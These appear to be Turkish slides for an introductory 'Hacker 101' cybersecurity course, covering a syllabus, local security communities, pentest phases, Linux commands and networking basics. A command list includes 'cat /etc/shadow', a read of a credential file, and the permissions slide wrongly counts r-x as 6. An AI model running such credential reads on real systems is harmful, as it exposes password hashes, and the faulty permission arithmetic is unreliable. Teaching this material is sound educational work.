
Hacker 101 Kursu
Ahmet GÜREL



İÇERİK1. Gün 

1. Kısım Neden güvenlik ? Hacker / Hacking nedir ? Yaşanmış en büyük hacking vakaları leakedin twitter ve 
nytimes dns hacked - SEA- Hacker / Hacking nedir ? White Hat hackers Gray Hat Hackers Black hat hackers 
Güvenlik Sektöründe ki çalışma alanları Zararlı Yazılım Analizi Tersine Mühendislik Sızma Testleri Network 
Web Mobile Application Source Code Audit 

2. Kısım : Linux Temelleri,Basit network bilgisi OSI Katmanları ve bu katmanlarda bulunan zafiyetler 
Routing,DNS, DHCP,NAT,ARP, TCP/UDP(Portlar) Layer 7 Kavramlar (WAF, IPS/IDS Nedir) 

2. Gün 

1.Kısım Network Servisleri ve Paketleri Paket koklamalar (Wireshark) Tcp-replay ve uygulamaları Hping ve 
uygulamalar Netcat ve uygulamalar Arp ve Ettercap uygulamaları 

2. Kısım Kablosuz çalışma mekanizması Wep zafiyetleri Wpa/Wpa2 ve mevcut WPS Mekanizması ve 
zafiyetleri 

3. Kısım Password Cracking Encrpytion nedir ? Encryption’ların collision probability’leri ve güvenirlilikleri 
Rainbow table Hashcat brute force wordlist 



İÇERİK3. Gün 

Web Uygulamaları HTTP Protokolü Web uygulamasının yaşam döngüsü Web uygulamasının 
kullanıcılar ile etkileşime geçmesi HTTP POST/GET COOKIE OWASP Top 10 ve Her birinin örneklerle 
uygulamalı açıklanması. DVWA üzerinden uygulamalı anlatılacaktır. Sosyal mühendislik nedir ? 
Saldırının tasarlanması Saldırı vektörleri ve en zayıf halka SET (Social Engineering Toolkit)

 4. Gün 

1. Kısım 

Vulnerability Search ( Zafiyet Taraması) Nmap (Script) Openvas Nikto DirBuster Sqlmap Wpscanner 
Metasploit 

2. Kısım 

Capture The Flag (Hacking Game)

Hacker 101 Kursu : http://ab.org.tr/ab17/kursdir/226.html 

http://ab.org.tr/ab17/kursdir/226.html


Hacker 101 | Siber Güvenliğe Giriş

Neden Güvenlik?

Güvenlik neden önemlidir.

Siber Güvenlik Neden Önemlidir?

Günümüz dünyasında Siber Güvenlik neden önemlidir ve Kursa geliş amacınız 
neler?



Yerli Yazılım ve Yazılım  Güvenliğinin Önemi



TÜRKİYEDE SİBER GÜVENLİK 
1-Octosec Topluluğu:

Gönüllü bir siber güvenlik topluluğu

Hackercamp,Konferans,CTF gibi bir çok ücretsiz 
etkinlik

düzenlemekteler.

http://www.octosec.net/

http://www.hacktrickconf.com/ 

http://www.gameofpwners.com/

http://www.octosec.net/
http://www.octosec.net/
http://www.hacktrickconf.com/
http://www.hacktrickconf.com/
http://www.gameofpwners.com/
http://www.gameofpwners.com/


TÜRKİYEDE SİBER GÜVENLİK 
2-Canyoupwnme Siber Güvenlik Araştırmacıları Topluluğu:

Ücretsiz gönüllü bir siber güvenlik topluluğu

Pwnlydays,,CTF ve Canyoupwn.me sitesinde

türkçe içerik  gibi çalışmaları vardır.

https://canyoupwn.me/ 

https://ctf.canyoupwn.me/ 

https://canyoupwn.me/
https://canyoupwn.me/
https://ctf.canyoupwn.me/
https://ctf.canyoupwn.me/


TÜRKİYEDE SİBER GÜVENLİK 
3-Cezeri Siber Güvenlik Akademisi

Gönüllü bir siber güvenlik topluluğu

Bşr çok ücretsiz eğitim,konferans vermektetirler.

CSGA Blogta teknik yazılar ve değerli siber güvenlik

çevirileri yer almakta.

http://www.cezerisga.com/  

http://www.cezerisga.com/
http://www.cezerisga.com/


TÜRKİYEDE SİBER GÜVENLİK 
4-Blackbox Siber Mücadele Topluluğu

Gönüllü bir siber güvenlik topluluğu

Bşr çok ücretsiz eğitim,konferans vermektetirler.

https://www.blackbox-tr.com/ 

https://www.blackbox-tr.com/
https://www.blackbox-tr.com/


TÜRKİYEDE SİBER GÜVENLİK 
5-Üniversitelerin Siber Güvenlik Toplulukları

SDU CYBERLAB ( http://cyberlab.sdu.edu.tr/ )

SAÜ SBİER ( http://sausiber.org/ )

PAÜ SİBER ( https://pausiber.xyz/ )

İÜ SİBER  ( https://twitter.com/iusiber )

GAZİ SİBER ( http://gazisiber.org/ )

BOUN SİBER ( https://siber.boun.edu.tr/ )

ANKARA CYBER CLUB  ( https://twitter.com/_aucc )

KKÜ SİBER ( https://twitter.com/kkusiber )

http://cyberlab.sdu.edu.tr/
http://sausiber.org/
https://pausiber.xyz/
https://twitter.com/iusiber
http://gazisiber.org/
https://siber.boun.edu.tr/
https://twitter.com/_aucc
https://twitter.com/kkusiber


TÜRKİYEDE SİBER GÜVENLİK 
6 -Siber Güvenlik Kamp ve Kursları

INETD & LKD - Linux Yaz Kampı ve AB Kursları : https://kamp.linux.org.tr 

Octosec - HackerCamp : http://www.octosec.net/hackercamp.php  

Canyoupwnme - PwnlyDays : https://canyoupwn.me/pwnlydays  

Siber Güvenlik Kampı : http://www.siberkamp.org/ 

Siber Güç Kampı : https://siber.boun.edu.tr/tr/siber-guc-kampi

Adli Bilişim Kampı : https://siber.boun.edu.tr/tr/adli-bilisim-kampi

Turkcell Cyber Camp 17 : http://www.cybercamp2017.com/

Havelsan Siber Güvenlik Kampı : http://akademi.havelsan.com.tr/ 

https://kamp.linux.org.tr
http://www.octosec.net/hackercamp.php
https://canyoupwn.me/pwnlydays
http://www.siberkamp.org/
https://siber.boun.edu.tr/tr/siber-guc-kampi
https://siber.boun.edu.tr/tr/adli-bilisim-kampi
http://www.cybercamp2017.com/
http://akademi.havelsan.com.tr/


TÜRKİYEDE SİBER GÜVENLİK 
7 -Siber Güvenlik Yarışmaları ve Projeleri

HACKINGWARS :  https://twitter.com/hackingwars 

Game of Pwners : https://twitter.com/gameofpwners 

CTF Canyoupwnme : https://ctf.canyoupwn.me/ 

Siber Yıldız : https://twitter.com/TRCert 

Hack METU : http://hackmetu.com/ 

SDU CTF :  http://sductf.org/ 

Bilgi Güvenliği Proje Yarışması : http://proje.lostar.com/ 

                         *********  https://ctftime.org/  ********* 

https://twitter.com/hackingwars
https://twitter.com/gameofpwners
https://ctf.canyoupwn.me/
https://twitter.com/TRCert
http://hackmetu.com/
http://sductf.org/
http://proje.lostar.com/
https://ctftime.org/


Hacker 101 | Siber Güvenliğe Giriş
Hacker Kimdir?

Hacker yada Bilgisayar Korsanı şahsî bilgisayarlara veya çeşitli kurum ve 
kuruluşlara ait bilgisayarlara ve ağlara izinsiz olarak giriş yapan kişi.

Bir insanın hacker olabilmesi için hazırlanmış kriterler, tanımlanmış yetenekler 
veya şartlar yoktur.

Sistemi olduğundan farklı bir şekilde kullanması yeterlidir.



Hacker 101 | Siber Güvenliğe Giriş

Hacking nedir?

Hekleme, başka tarafın bilgisayarına illegal yolla girme veya İnternet sitesini art 
niyet veya dolandırıcılık amacı ile kullanma veya yetkilendirilmemişş değişiklikler 
yapma veya sadece eğlence için bir bilgisayara girme yada virus bulaştırma gibi 
sayabileceğimiz bir çok eylem hekleme,hacking kavramının içinde 
bulunmaktadır.



Hacker 101 | Siber Güvenliğe Giriş

Yaşanmış En Büyük Hacking Vakaları

Wikileaks, NSA-GCHQ sızıntıları(Snowden), Stuxnet, Mt. Gox Bitcoin Hack, 
Adobe Hack ,Nic tr DDoS, Akbank hacklendi: 4 milyon dolar sızdırıldı vb.



Hacker 101 | Siber Güvenliğe Giriş

White Hat Hacker                                                Lamer

Grey Hat Hacker                                                 Script Kiddie

Black Hat Hacker     Phreaker

Malware Analyst     Cracker                                    

Reverse Enginnering     Cyber Crime Researcher

 Cyber Security Researcher / Penetration Tester / Cyber Security Test Engineering 



Hacker 101 | Siber Güvenliğe Giriş

Güvenlik Sektöründe Çalışma Alanları

Adli Bilişim Uzmanlığı

Sızma Testi Uzmanlığı

Güvenlik Danışmanlığı

Zararlı Yazılım Analiz Uzmanlığı  

SOME &  SOC  Ekipleri

Tersine Mühendislik     



Hacker 101 | Siber Güvenliğe Giriş
Beyaz kutu (white box) sızma testleri: Testi yapacak kişi, firma tarafından 
sistem hakkında bilgilendirilir. Bu tip testlerde daha önceden firmada 
çalışmış/çalışmakta olan ve ağa misafir olarak bağlanan kişilerin sisteme 
verebileceği hasar test edilir. 

Siyah kutu (black box) sızma testleri: Bu yöntemde testi yapacak kişiyle 
herhangi bir bilgi paylaşımı olmaz sadece saldırılacak hedef belirtilir. Bu tip 
testlerde amaç dışardan bir saldırganın sisteme nasıl erişebileceği ile ilgili bilgi 
elde edilir. 

Gri kutu (gray box) sızma testleri: Hem içerden hem dışarıdan yapılan test 
anlamındadır.



Hacker 101 | Siber Güvenliğe Giriş
Kurum ağ altyapısı sızma testleri 

DoS/DDoS atakları 

Son kullanıcı ve sosyal mühendislik testleri 

Kablosuz ağ sızma testleri 

Web uygulamaları sızma testleri 

Mobil uygulamaların sızma testleri

İşletim sistemleri sızma testleri 

Veritabanı sistemleri sızma testleri

Kaynak Kod Analizi (Source Code Audit)



Hacker 101 | Siber Güvenliğe Giriş
● Bilgi Toplama 

● Ağ Haritalama 

● Zayıflık Tarama süreci 

● Penetrasyon(Sızma) Süreci 

● Erişim elde etme 

● Hak Yükseltme

 ● Detaylı Araştırma 

● Erişimlerin Korunması 

● Raporlama 



Linux’ta Dosya ve Dizin Yapısı



Linux’ta Dosya ve Dizin Yapısı
/bin   : Olması zorunlu temel komut dosyalarını içerir.
/boot  : Başlangıç için gerekli dosyaları bulundurur.

/home: Ev dizinidir.Içinde kullanıcı dosyaları masaüstü,resimler,indirilenler gibi dosyalar bulunur.
/dev   : Donanım dosyaları vardır.
/etc   : Sistem ayarlarını barındırır.
/lib   : Kütüphane dosyaları ve çekirdek modülleri bulunur.
/media : Kaldırılabilir aygıtların (CD-ROM, USB bellek vb.) sisteme eklendiği klasördür.
/mnt   : Sistem açılışında otomatik olarak bağlanan sabit disk bölümleri bu dizin altında eklenir.
/opt   : Üçüncü parti kullanıcı programlarının kurulması içindir. 
/sbin  : Sistemi yöneticisiyle ilgili çalıştırabilir dosyaları tutar.
/srv   : Sistemin sunduğu hizmetlerle alakalıdır.
/tmp   : Geçici dosyaları tutmak içindir.
/usr   : Tüm kullanıcılarca paylaşılan verileri içeren dizindir. 
/var   : Log dosyaları, e-posta ve yazıcı kuyrukları gibi değişken verileri barındırır.



Ubuntunun /(Kök) Dizini



Dosya İşlemleri
ls – dosyaları listeler   ls -la gizli dosyalar dahil tüm dosyaları listeler

cd – seçtiğiniz dizinin içine girmenizi sağlar



komut --help ya da man komut ile komutların diğer parametrelerini görebiliriz.

                ls --help komutunun çıktısı                                                              man ls komutunun çıktısı

Komutlar Hakkında Yardım Alma



pwd:Bulunduğumuz dizini verir  clear: Terminal ekranını temizler  mkdir klasör_adi – belirtilen isimde 
dizin oluşturur.

mkdir -p  klasör1/klasör2-  -p parametresi  iç içe klasör oluşturmaya yarar.Bu ve daha fazla 
parametreyi  man mkdir ile görebilirsiniz



Silme ve Kopyalama İşlemleri
rm dosya – dosya siler   rm -r klasör – belirtilen klasörü siler

touch dosya – boş dosya oluşturur

**Burada  silme işlemini gerçekleştirirken silinsin mi diye soruyor y(yes) diyerek işlemi onaylıyoruz.



cp dosya1 dosya2 – dosya1'i dosya2'ye kopyalar

cp -r dizin1 dizin2 – dizin1'i dizin2'ye kopyalar; dizin2 yoksa oluşturur

mv dosya1 dosya2 – dosya1'in adını dosya2 yapar.

Silme ve Kopyalama İşlemleri



komut  > dosya_adi - komutun çıktısını dosyadaki şeyleri silip yazar.(yoksa oluşturur)       

komut  >> dosya_adi - komutun çıktısını dosyanın sonuna yazar.(yoksa oluşturur)

cat dosya_adi- dosyanın içerisindekileri terminalde görmemizi sağlar.

more dosya_adi-dosyanın çıktısını sayfalayarak gösterir..



Process(Süreç) Yönetimi
ps – Aktif süreçleri gösterir.  ps aux-Tüm süreçleri gösterir.  



Çalışan Process(Süreçler)’i Görme
top-  Tüm süreçleri gösterir.

**

Burada gördüğünüz PID(Process ID) dır.Bir process’i öldürmek(durdurmak) için kullanacağız.



Process(Süreçler)’i Durdurmak
kill pid (process id) –Belirtilen süreçi sonlandırır.

**5604 PID(process id)  firefox uygulamasına denk geliyor biz bu uygulamayı kill 5604 diyerek durdurmuş 
olduk.



Arama Komutları
find - find komutu girdiğimiz dizin ve alt klasörlerinde arama yapar.Kullanımı: find dosya_yolu -name “aranacak_ifade”

**Belirtilen yolda *(hrehangi bir ifade) ile başlayıp .odt ile biten dosyaları arıyan komuttur.find komutunun -name 
gibi başka parametreleride mevcuttur merak edenler bunları internetten aratarak bulabilirler.



grep ifade dosya – Belirtilen dosyalarda ifadeyi arar.

**cd ile Deskop dizinine geldik.Burada grep ile oku.txt dosyasında “gürel” ifadesini arattık ve gelen sonuç 
ekranda kırmızı ile yazdı.Hiç bir şey bulamasaydı birşey yazmayacaktı.



komut | grep ifade – Komutun çıktısında ifadeyi aratır.

**İlk olarak ps aux | grep firefox komutu ile firefox u arattık ve gelen sonuçlardan firefox un pıd(process 
id) numarasını bulduk.Bunuda kill 7309  komutunu kullanarak durdurduk.Daha sonra yeniden ps aux | 
grep firefox komutunun çıktısına baktığımızda o süreçin durduğunu hep beraber gördük.



Linux’ta Dosya İzinleri

Öncelikle burada bilmemiz gereken 
Read(Okuma),Write(Yazma),eXecute(Çalıştırma) 
izinlerinin sayısal değerlerinin 
bulunduğu.r=4,w=2,x=1 dir.rwx(4+2+1) in 7 yi temsil 
ettiğini bilmemiz gerekiyor.Onun dışında sayılar üç 
basamaklı olmakta.Birinci Basamağı 
Owner(Kendisinin) izinlerini,İkinci basamağı 
Group(Bulunduğu Grup)’un izinlerini,ve son 
olarakta Üçüncü basamağıda Public(Diğerlerinin) 
izinlerini temsil etmektedir.



ls -al - komutu ile tüm dosyaların özelliklerini ve 
izinlerini görüntüledik.burada drwxr-xr-x gibi 
karışık gelen ifadeler dosyanın izinlerini belirtir.Ilk 
satırda ki drwxr-xr-x  ele alırsak.

          d       rwx      r-x      r-x

d: dizin olduğunu belirtiyor.Dosyalarda - dir.

rwx: İlk basamak kendisinin izni(4+2+1=7)

r-x:İkinci basamak grubun izni(4+0+1=6)

r-x:Üçüncü  basamak diğerlerinin izni(4+0+1=6)

Ele aldığımız ilk sıradaki dizinimizin izni 766 
dır.Aslında okumayı öğrenince hiç de  karışık 
olmadığını görüyorsunuz :) 



Dosyaların İzinlerini Değiştirmek
chmod izin_degeri  dosya- chmod ile vermek istediğimiz izin değerini o dosyaya atayabiliyoruz.

**Burada oku.txt dosyasına 7(read+write+execute)7read+write+execute)7read+write+execute)  iznini 
verdik.Kendisi grubu ve diğerleri hem okuyor hem yazıyor hem de çalıştırabiliyor.chmod ile dosyaların 
izinlerini bu şekilde değiştirebilirsiniz.



Sistem Bilgileri
date – mevcut saat ve tarihi gösterir    cal – içinde bulunan ayın takvimini gösterir



uptime – sistemin açık kalma süresini gösterir   w – sistemle ilgili özet bilgiler verir                                                
whoami – giriş yapan kullanıcıyı gösterir

Sistem Bilgileri



Sistem Bilgileri
finger kullanıcı – kullanıcı hakkında bilgi verir   uname -a – çekirdek bilgisini gösterir.

**finger kurulu değil ise kurmanizi isteyecektir.sudo apt-get install finger  komutu ile 
kurabilirsiniz.Bunu yazilim derleme ve kurma adı altında ileride işleyeceğiz.



Sistem Bilgileri
cat /proc/cpuinfo – işlemci bilgisini gösterir



Sistem Bilgileri
cat /proc/meminfo – RAM bilgisini gösterir.



Sistem Bilgileri
df – disk kullanımını gösterir.   du – dizinin kullandığı disk alanını gösterir.

** İlk olarak df ile disk kullanımını görüntüledik daha sonra mkdir ile yeni bir dizin oluşturmak 
istediğimizde permission denied(izin reddedildi) hatasını aldık bu yuzden sudo ile root kullanıcısının 
yetkilerini kullanarak oluşturduk.Ve daha sonra du ile disk te ne kadar yer kapladığını gördük.



Sistem Bilgileri
free – kullanılan RAM bilgisini gösterir    which uygulama – uygulamanın tam yolunu gösterir



Linux’ta Dosya Sıkıştırma 
tar cf dosya.tar.gz dosya – Sıkıştırılmış tar arşivi oluşturur. (gzip)

tar xf dosya.tar.gz – Sıkıştırılmış arşivi açar. 

tar cf dosya.tar.bz2 dosya – Sıkıştırılmış tar arşivi oluşturur. (bzip2)

tar xf dosya.tar.bz2 – Arşivi açar.



Ağ Komutları
ping hedef – hedefe ping atar ve sonuçları gösterir.



Ağ Komutları
whois domain – belirtilen alan adının kayıt  bilgilerini gösterir.



Ağ Komutları
dig domain – Belirtilen alan adının DNS bilgilerini getirir.



Yazılım Derleme/Kurma
1-Öncelikle sistem açıldığında Ubuntuda Ubuntu  Software Center i araç çubuğunda  görebilirsiniz diğer 
dağıtımlarda da bu tip uygulama merkezleri (paket depoları) vardır.Buradan istediğiniz programları bularak 
root şifrenizi girdikten sonra oldukça basit bir şekilde yükleyebilirsiniz.



Yazılım Derleme/Kurma
2-Komut satırı üzerinden paket yönetimi  sistemi ile de program kurabiliriz.Bunun için verilecek 
komutlar:

sudo apt-get install paket_adi - Programı kurmaya yarar

sudo apt-get remove paket_adi -Programı kaldırır.



Yazılım Derleme/Kurma



Yazılım Derleme/Kurma
3-Yazılım Merkezlerinde bazen tüm yazilimlar olmuyor ya da olanlar da eski sürümleri olabiliyor.Bir önceki 
gördüğümüz NetBeans Java IDE si 7.0.1 iken şuan 8.0.2 si mevcut.Bunları yüklemek için internetten 
kurulum dosyaları bulunur ve yüklenir.Bu kurulum dosyaları “.sh”,”.bin” ve “.deb” tarzında 
olabilir.Bunları yükler iken:

sudo dpkg -i dosya_adi.deb         **deb(debian kısaltması) farklı dağıtımlarda farklı şekilde olacaktır.

chmod +x  dosya_adi.sh               **Dosyayı komut olarak çalışır hale getirecektir.

./dosya_adi.sh  şeklinde kurulur.    **(.bin uzantılı dosyalarda .sh uzantılı dosyalarla aynı şekilde kurulur.) 



Yazılım Derleme/Kurma



Linux’ta Editörler
Linux ta metin dosyalarını okumak için nano ve vi editörleri içinde yüklü gelir.Vi nin çok daha gelişmiş hali 
olan vim editörü çok yaygın bir şekilde kullanılır bende onu kullanmaktayım.Onu kullanmak için sudo 
apt-get install vim ile yüklemeniz gerekmektedir.

touch komutu ile EditörÖgren adlı bir dosya oluşturup bunun içine vim editörü ile girmemizi sağlayacak 
komutu terminale yazdık.





Dosyamıza vim ile yazdıklarımızı kaydetip çıktıktan sonra cat komutu ile içine bakıyoruz ve yazdıklarımız 
kayıt edilmiş mi diye ve her şey yazdığımız gibi :)



Linux’ta Alias Kullanımı
Alias ile Linux’ta istediğiniz bir komutun adını değiştirebilirsiniz.

Bu genelde uzun karışık gelip sık sık kullanılan komutları basitleştirmek için kullanılır.

Biz ise bugün cd nin yerine sec kullanmak isteyeceğiz ve bunu alias ile yapacağız.

Bunun için /etc/bash.bashrc  dosyasını vim editörü ile açarak  alias sec=”cd” şeklinde bir tanımlama 
yapacağız.

Aliasında kullanım şeklini öğrenmiş olduk. Aslında komutlara takma isim veriyoruz.



Burada dosyayı açtıktan İ ye basarak insert olup sonra alias sec=”cd”  tanımlamasını yapıyoruz.Daha 
sonra ESC ye basıp :wq ile dosyayı kaydedip çıkıyoruz.Terminali kapatıp açtıktan sonra cd komutu yerine 
sec komutunu kullanacağız.



Linux Temelleri
cat /etc/resolv.conf cat /etc/hosts

cat /etc/passwd arp -a

cat /etc/shadow iptables -L -v

cat /proc/version gcc --version

uname -a lsb_release -a
ps -aux ps aux | grep root 

ifconfig route -n

history users



Temel Network Bilgisi
Başlarken Network nedir?

Bilgisayarların iletişim hatları aracılığıyla veri aktarımının sağlandığı sistem, bilgisayar ağıdır.

IP Adresi Nedir?

IP adresi (İngilizce: Internet Protocol Address), interneti ya da TCP/IP protokolünü kullanan diğer 
paket anahtarlamalı ağlara bağlı cihazların, ağ üzerinden birbirleri ile veri alışverişi yapmak için 
kullandıkları adres.

DNS Nedir?

Türkçe olarak Alan Adı Sistemi olan DNS girdiğimiz sitelerin IP adresini tutan bir adres defteri 
gibidir.Girdiğimiz bir domain tıkladığımızda kullandığımız DNS bizi yönlendirdiği için bazen 
ulaşamama durumları oluyor farklı nedenlerden o IP yı engellıyorlar ve bu site yasaklanmıştır diyor 
bizde bunun için farklı DNS ler kullanarak erişimimize devam ediyoruz.

http://iletisim.nedir.com/
https://tr.wikipedia.org/wiki/%C4%B0ngilizce
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/%C4%B0nternet_ileti%C5%9Fim_kurallar%C4%B1_dizisi
https://tr.wikipedia.org/wiki/Bilgisayar_a%C4%9F%C4%B1
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Open Systems 
Interconnection (OSI) 
modeli ISO 
(International 
Organization for 
Standardization) 
tarafından geliştirimiştir. 
Bu modelle, ağ 
farkındalığına sahip 
cihazlarda çalışan 
uygulamaların 
birbirleriyle nasıl 
iletişim kuracakları 
tanımlanır.
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7 Katmandan oluşan OSI Modelinde her katmanında belli donanımlar ve network  
protokolleri bulunur.

Network haberleşmelerinde OSI Referans modeli kullanılır.

Katmanlarda çalışan donanımlara ve protokollere iler ki sunumlarda 
bulunmaktadır.
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Tarihçe: 

●   İlk olarak 80'li yıllarda Amerikan Savunma Bakanlığı (DoD) tarafından OSI 

tabanlı sistemlere alternatif  olarak geliştirilmiştir.

●    DoD'un Amerikan piyasasındaki ana belirleyici olması,bu protokolün 

Amerikan yazılımlarında standart kabul  edilmesine neden oldu.

●    İnternet'in babası sayılabilecek ARPANet bu nedenle TCP/IP ile  doğdu. 

İnternet kullanımının büyük bir hızla artması ile  birlikte,TCP/IP OSI üzerinde 

bir üstünlük kurmuş oldu.
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● Yapı olarak iki katmanlı bir haberleşme protokolüdür.

● Üst Katman TCP(Transmission Control Protocol) verinin iletimden önce 

paketlere ayrılmasını ve karşı tarafta bu paketlerin yeniden düzgün bir 

şekilde birleştirilmesini sağlar.

● Alt Katman IP (Internet Protocol) ise,iletilen paketlerin istenilen ağ adresine 

yönlendirilmesini  kontrol eder.
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● Uygulama Katmanı(Application Layer) : Farklı sunucular üzerindeki süreç ve 

uygulamalar arasında olan iletişimi sağlar.

● Taşıma Katmanı(Host to host or Transport Layer) : Noktadan noktaya veri akışını 

sağlar.

● İnternet Katmanı : Router lar ile birbirine bağlanmış ağlar boyunca verinin kaynaktan 

hedefe yönlendirilmesini sağlar.

● Ağ Erişim Katmanı : İletişim ortamının karakteristik özelliklerini,sinyalleşme hızını ve 

kodlama şemasını belirler.Uç sistem ile alt ağ arasındaki lojik arabirime ilişkin katmandır.
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TCP bağlantısı nasıl kurulur?

A bilgisayarı B bilgisayarına TCP yoluyla bağlanmak istediğinde şu yol izlenir:

● A bilgisayarı B bilgisayarına TCP SYNchronize mesajı yollar

● B bilgisayarı A bilgisayarının isteğini aldığına dair bir TCP SYN+ACKnowledgement 

mesajı yollar

● A bilgisayarı B bilgisayarına TCP ACK mesajı yollar

● B bilgisayarı bir ACK "TCP connection is ESTABLISHED" mesajı alır

Üç zamanlı el sıkışma adı verilen bu yöntem sonucunda TCP bağlantısı açılmış olur.
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3 lü El Sıkışma Nedir? (TCP 3 Way Hand shake)
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TCP Bağlantısının Sonlanması

Veri iletişimi bitince bilgisayarlardan herhangi biri diğerine TCP kapatma mesajı yollar. Diğer bilgisayar, 

kapatmayı teyid etme paketi ve kapatma isteği yollar. Son olarak, diğer bilgisayar da kapatma teyidini 

yollar ve bağlantı kapatılmış olur.

Bu işlemin adımları tam olarak şöyledir:

● A bilgisayarı B bilgisayarına bağlantıyı sonlandırmak istediğine dair TCP FIN mesajı yollar.

● B bilgisayarı A bilgisayarına bağlantı sonlandırma isteğini aldığına dair TCP ACK mesajı yollar.

● B bilgisayarı A bilgisayarına bağlantıyı sonlandırmak istediğine dair TCP FIN mesajı yollar.

● A bilgisayarı B bilgisayarına bağlantı sonlandırma isteğini aldığına dair TCP ACK mesajı yollar.

Bu işlemlerin sonunda TCP bağlantısı sonlandırılmış olur. Buna 4 zamanlı el sıkışma denir
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Temelde iki modelde haberleşmeyi karmaşık bir iş olarak görüp alt görevlere ve 
katmanlara  ayırmaktadır.Her katmanda çalışan protokoller ve prosedürler vardır.

Bu OSI modelinde çok net bir şekilde ayrılmıştır.Her katmanda çalışan protokol 
bellidir.

TCP/IP de ise daha rahattır kesin çizgilerle belirlenmemiştir.Bunun için OSI ile 
çalışmak daha verimlidir.Aralarında ki en önemli fark bu denilebilir.
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TCP (Transmission Control Protocol)

● TCP  yani Gönderim Kontrol Protokolü , IP üzerinden ulaşma garantili ve herhangi bir 
boyda veri gönderilmesine imkân tanıyan bir protokoldür. UDP'den farklı olarak, TCP'de 
iki cihazın iletişim kurabilmesi için önce birbirlerine bağlanmaları gerekmektedir.

UDP (User Datagram Protocol)

● UDP  yani Kullanıcı Veri Protokolü , IP üzerinden veri yollamaya yarar. Verilerin 
ulaşacağını garanti etmez ve UDP paketlerinin maksimum boy sınırları vardır. Öte 
yandan, UDP son derece basit ve bağlantı gerektirmeyen bir protokoldür.

https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/wiki/UDP
https://tr.wikipedia.org/wiki/UDP
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DHCP (Dynamic Host Configuration Protocol)

● DHCP  yani Dinamik Cihaz Ayar Protokolü  bir TCP/IP ağına bağlanan bir cihaza 
otomatik olarak IP adresi, ağ maskesi, ağ geçidi ve DNS sunucusu atanmasına yarar.

DNS (Domain Name System)

● DNS   yani Alan Adı Sistemi alan adı verilen isimler mesela www.gurelahmet.com  ile IP 
adreslerini birbirine bağlayan sistemdir. Paylaştırılmış bir veritabanı olarak çalışır. UDP 
veya TCP üzerinden çalışabilir.

https://tr.wikipedia.org/wiki/DHCP
https://tr.wikipedia.org/wiki/DHCP
https://tr.wikipedia.org/wiki/IP_adresi
https://tr.wikipedia.org/wiki/A%C4%9F_maskesi
https://tr.wikipedia.org/wiki/A%C4%9F_ge%C3%A7idi
https://tr.wikipedia.org/wiki/DNS
https://tr.wikipedia.org/wiki/DNS
http://www.gurelahmet.com
https://tr.wikipedia.org/wiki/Payla%C5%9Ft%C4%B1r%C4%B1lm%C4%B1%C5%9F
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HTTP (HyperText Transfer Protocol)

● HTTP  yani HiperMetin Yollama Protokolü ilk başta HTML sayfaları yollamak için yazılmış olan bir 
protokol olup günümüzde her türlü verinin gönderimi için kullanılır. TCP üzerinden çalışır.

NOT: HTTP Metodları ve HTTP Durum kodları Güvenlik için önemlidir.

Metodlar: Get,Head,Put,Post,Trace,Delete,Connection,Options

Durum Kod: 1xx :Bilgi  2xx  Başarı  3xx :Yönlendirme   4xx  :Tarayıcı Hatası    5xx   :  Sunucu Hatası 

HTTPS (Secure HTTP )

● HTTPS yani Güvenli HTTP ,  HTTP'nin RSA şifrelemesi ile güçlendirilmiş halidir. TCP üzerinden 
çalışır.

https://tr.wikipedia.org/wiki/HTML
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/RSA
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POP3 (Post Office Protocol 3)

● POP3 ani Postahane Protokolü 3  e-posta almak için kullanılan bir protokoldür. TCP üzerinden 
çalışır.

SMTP (Simple Mail Transfer Protocol)

● SMTP  yani Basit Mektup Gönderme Protokolü e-posta göndermek için kullanılır. TCP üzerinden 
çalışır.

FTP (File Transfer Protocol)

● FTP  yani Dosya Gönderme Protokolü  dosya göndermek ve almak için kullanılır. HTTP'den değişik 
olarak kullanıcının illa ki sisteme giriş yapmasını gerektirir. Veri ve komut alış verişi için iki ayrı port 
kullanır. TCP üzerinden çalışır.

https://tr.wikipedia.org/wiki/SMTP
https://tr.wikipedia.org/wiki/SMTP
https://tr.wikipedia.org/wiki/FTP
https://tr.wikipedia.org/wiki/FTP
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ARP (Address Resolution Protocol)

● ARP  yani Adres Çözümleme Protokolü bir IP adresinin hangi ağ kartına (yani MAC adresine) ait 

olduğunu bulmaya yarar. 

ICMP (Internet Control Message Protocol)

●  ICMP yani Internet Yönetim Mesajlaşması Protokolü, hata ve türlü bilgi mesajlarını ileten protokoldür. 

Örneğin, ping programı ICMP'yi kullanır.

 Telnet, 

● İnternet ağı üzerindeki çok kullanıcılı bir makineye uzaktaki başka bir makineden bağlanmak için 

geliştirilen bir TCP/IP protokolü ve bu işi yapan programlara verilen genel isimdir.

https://tr.wikipedia.org/wiki/ARP
https://tr.wikipedia.org/wiki/IP_adresi
https://tr.wikipedia.org/wiki/MAC_adresi
https://tr.wikipedia.org/wiki/ARP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/Ping
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RIP (Router Information Protocol)

● RIP yani Router Bilgi Protokolü router'ların yönlendirme tablolarını otomatik olarak 
üretebilmesi için yaratılmıştır.

OSPF (Open Shortest Path First)

● OSPF yani İlk Açık Yöne Öncelik aynı RIP gibi router'ların yönlendirme tablolarını 
otomatik olarak üretebilmesine yarar. OSPF, RIP'ten daha gelişmiş bir protokoldür.

SSH (Secure Shell)

● SSH  güvenli veri iletimi için kriptografik ağ protokolüdür

https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/A%C4%9F_protokol%C3%BC


Network Address Translation (NAT) (Ağ Adresi Dönüştürme),

 TCP/IP ağındaki bir bilgisayarın yönlendirme cihazı ile başka bir ağa çıkarken 
adres uzayındaki bir IP ile yeniden haritalandırma yaparak IP paket başlığındaki 
ağ adres bilgisini değiştirme sürecidir.

Temel Network Bilgisi | NAT
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● Port: Donanımsal ve Sanal olarak ikiye ayrılıyor.Temelde bilgisayar ile dış 

aygıtlar arasında  iletişimi sağlayan veri yoludur.Sistem üzerinde çalışan 
internet ile haberleşen her sistem sanal bir port kullanır.Önemli port 
numaralarına ve servislerine değineceğiz bunlardan zaafiyet barındıranlar 
